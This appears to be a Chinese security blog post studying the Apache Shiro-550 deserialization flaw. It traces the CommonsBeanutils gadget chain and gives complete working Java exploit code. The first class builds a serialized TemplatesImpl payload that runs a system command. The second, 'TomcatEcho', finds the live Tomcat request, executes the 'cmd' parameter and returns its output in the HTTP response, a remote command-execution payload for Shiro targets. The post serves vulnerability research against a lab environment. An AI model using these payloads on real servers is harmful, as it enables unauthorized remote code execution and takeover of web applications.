Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

0x00 前言

​ 上篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi

​ 上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用

​ 同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 j1anFen 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链

​ 由于漏洞环境代码贴在文中会很大的文章篇幅,所以后面漏洞环境都会放在 Github 上

​ Shiro漏洞环境:https://github.com/KpLi0rn/ShiroVulnEnv

0x01 CommonsBeanutils

​ CommonsBeanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类

  • 若干private实例字段
  • 通过public方法来读写实例字段

PropertyUtils.getProperty() 传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

下面简单的展示一个例子,首先写一个符合规范的 Calc 类,然后编写一个 Demo 类使其自动调用 Calc 的 getter 方法,如下会自动调用 name 属性的 getter 函数,最终调用 getName()

PropertyUtils.getProperty(new Calc(),"name");

Calc:

import java.io.IOException; public class Calc { private String name = "Hello,World"; public String getName() throws IOException { System.out.println("getter..."); return this.name; } public void setName(String name){ System.out.println("setter..."); this.name = name; } }
Code language: JavaScript (javascript)

Demo:

import org.apache.commons.beanutils.PropertyUtils; public class Demo { public static void main(String[] args) throws Exception { PropertyUtils.getProperty(new Calc(),"name"); } }
Code language: JavaScript (javascript)

效果如下:

自动调用了 Calc 的 getter 函数

image-20210429145359781

0x02 CommonsBeanutils#compare

​ CommonsBeanutils 利用链中核心的触发位置就是 compare 函数,当调用 compare 函数时,其内部会调用我们前面说的 getProperty 函数,从而自动调用 JavaBean 中对应属性的 getter 函数,遇到这种情况自然可以联想到 TemplatesImpl 类,其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,所以我们这里控制下面 o1 为我们的 TemplatesImpl 对象,this.property 为我们的 outputProperties 属性,那么我们就可以通过 CommonsBeanutils#compare 来触发我们的 Templates 链了

image-20210429102953383

接下来我们来看一下 getProperty 函数内部的逻辑

首先控制传入的 o1 为我们的 TemplatesImpl 对象,property 属性我们利用反射将其设置为 outputProperties 即可

image-20210429103522917

跟进 getProperty 函数,发现最后来到 getNestedProperty 函数处

image-20210429103800679

在 getNestedProperty 函数中,首先会经过一些判断,由于我们传入的 TemplatesImpl 对象并不符合这些判断,便会来到最后的 else 处,将 bean 和 name 作为参数传入了 getSimpleProperty 函数,跟进该函数

image-20210429104155839

来到 getSimpleProperty 函数处,同样也是经过一系列判断之后将 bean 和 name 传入 getPropertyDescriptor 函数

image-20210429105337850

来到 getPropertyDescriptor 函数,然后会将 bean 传入 getPropertyDescriptors 函数

image-20210429110717283

在 getPropertyDescriptors 函数中,会获取我们传入实例的类,然后作为参数进入 getPropertyDescriptors 函数

image-20210429111024424

在 getPropertyDescriptors 函数中,首先会从缓存中进行获取,由于我们是第一次,所以缓存中自然是没有

image-20210429154631909

涉及Java内省:https://blog.csdn.net/qq_35029061/article/details/86664795

然后通过通过类Introspector来获取我们传入对象的 BeanInfo 信息,然后通过 BeanInfo 来获取属性描述对象数组 PropertyDescriptor[],拿到属性描述对象数组之后再循环数组,这样我们就能获取到我们想要的属性的对应的 getter 方法了

image-20210429152639105

然后遍历 descriptors ,由于并不是 IndexedPropertyDescriptor 的实例,所以直接进行返回,返回之前会将其放到缓存中

image-20210429154529836

重新回到 getPropertyDescriptor 函数中,将返回值赋给 descriptors

image-20210429154812020

然后遍历数组中的内容,如果发现与我们输入的属性对应的属性描述器,就进行返回

image-20210429155239535
image-20210429155450103

然后从返回的属性描述器中获取对应的 getter 方法,也就是 getOutputProperties 方法,然后利用反射进行调用,从而触发我们的 TemplatesImpl 链

image-20210429113923588
image-20210429155700207

成功弹出计算器

image-20210429114111259

0x03 利用链分析

​ 我们先把 pom.xml 中的 CommonsCollections 依赖进行注释,CommonsBeanutils 1.8.3 是 Shiro 自带的

image-20210428141435397

​ 在前面我们提到通过将 TemplatesImpl 实例传入 CommonsBeanutils#compare 函数中 (this.property 可以利用反射控制),就能触发我们的 TemplatesImpl 链,从而最终弹计算器

​ 所以我们现在只需要寻找一个类似 x.compare(a,b) 的点,其中 x 和 a 可控那么就可以了,看过 cc2 的师傅们应该会非常的熟悉,也就是 PriorityQueue ,该类的 siftDownUsingComparator 存在我们利用点,其中 comparator 和 x 都是可控的

image-20210503102436832

具体分析可以看我先前写的 cc2 分析的文章,其中有详细写,文章链接:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

大致流程如下:

image-20210503101422000

其中 queue 和 comparator是可控的,comparator 我们直接可以在初始化的时候进行赋值

s.readObject() 的结果赋值给 queue,s是序列化后的,所以我们得去看 writeObject

image-20210503102651721

在 writeObject 中,将 queue 属性进行了序列化,queue 可用反射进行修改

image-20210429162724130

最终 Poc 如下:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; /** * 利用链: * PriorityQueue#readObject * PriorityQueue#heapify * PriorityQueue#siftDown * PriorityQueue#siftDownUsingComparator * BeanComparator#compare * TemplatesImpl#getOutputProperties * Runtime.... */ public class CommonsBeanutils { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Calc" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates,"_name","name"); setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()}); setField(templates,"_tfactory",new TransformerFactoryImpl()); setField(templates, "_class", null); BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,comparator); priorityQueue.add(1); priorityQueue.add(2); setField(priorityQueue,"queue",new Object[]{templates,templates}); setField(comparator,"property","outputProperties"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser")); inputStream.readObject(); inputStream.close(); } public static void setField(Object object,String field,Object args) throws Exception{ Field f0 = object.getClass().getDeclaredField(field); f0.setAccessible(true); f0.set(object,args); } }
Code language: JavaScript (javascript)

将生成的序列化文件进行 AES 加密之后进行发送,成功触发计算器

image-20210429163235638

0x04 更通用的 Tomcat 回显方案

在前一篇文章中我们的 request 是从 AbstractProtocol$ConnectoinHandler 中进行获取的,然后在 AbstractProtocol$ConnectoinHandler 是从 Thread.currentThread().getContextClassLoader() 里面一步步获取到的,但是由于 Tomcat 7 的结构不一样导致获取不到

Tomcat 9:

image-20210503110627070

Tomcat 7:

image-20210503110650243

​ 所以由于结构不同导致上一篇介绍的方法在 Tomcat 7 中无法使用

​ 所以现在我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocol$ConnectoinHandler ,因为 request 存在该对象的 global 属性中的 processors 中,那么我们其实接下来目的就是为了找到一个地方存储这 AbstractProtocol$ConnectoinHandler

​ 发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint$Handler 定义的,同时 Handler 的实现类是 AbstractProtocol$ConnectoinHandler

​ 因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

image-20210503125028072

下面红框处是 AbstractEndpoint 的子类,那么我们需要寻找一种能被我们获取到的,最好是可以直接从线程中进行获取

image-20210503125830635

这里我们来看到 NioEndpoint 类

详细请看:https://blog.csdn.net/jy02268879/article/details/108863679

这里介绍 NioEndpoint 是主要符合接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池

image-20210503130531416
image-20210503130749787

所以我们可以通过遍历线程,然后获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request

image-20210503131350781

该方法在 Tomcat 7 中同样适用

这里的测试环境是 Tomcat 7 代码是 p牛 https://github.com/phith0n/JavaThings 中的 shirodemo

image-20210503154056226

利用代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Session; import org.apache.catalina.connector.Response; import org.apache.coyote.Request; import org.apache.coyote.RequestInfo; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; public class TomcatEcho extends AbstractTranslet { static { try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for (int i=0;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")){ Object target = getField(thread,"target"); Object global = null; if (target instanceof Runnable){ // 需要遍历其中的 this$0/handler/global // 需要进行异常捕获,因为存在找不到的情况 try { global = getField(getField(getField(target,"this$0"),"handler"),"global"); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors if (global != null){ List processors = (List) getField(global,"processors"); for (i=0;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ Request tempRequest = (Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); Response response = request.getResponse(); String cmd = null; if (request.getParameter("cmd") != null){ cmd = request.getParameter("cmd"); } if (cmd != null){ System.out.println(cmd); InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream(); StringBuilder sb = new StringBuilder(""); byte[] bytes = new byte[1024]; int n = 0 ; while ((n=inputStream.read(bytes)) != -1){ sb.append(new String(bytes,0,n)); } Writer writer = response.getWriter(); writer.write(sb.toString()); writer.flush(); inputStream.close(); System.out.println("success"); flag = true; break; } if (flag){ break; } } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); } } public static Object getField(Object obj,String fieldName) throws Exception{ Field f0 = null; Class clas = obj.getClass(); while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } } if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Code language: JavaScript (javascript)

完整利用代码在 https://github.com/KpLi0rn/ShiroVulnEnv 项目的 /src/test/java下

0x05 总结

前前后后踩了好多坑,也从中学习到了很多,今天文中的这条不出意外的话应该是 Tomcat 的版本都可行的,最后感谢 p牛 感谢 j1anFen 感谢各位前辈

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇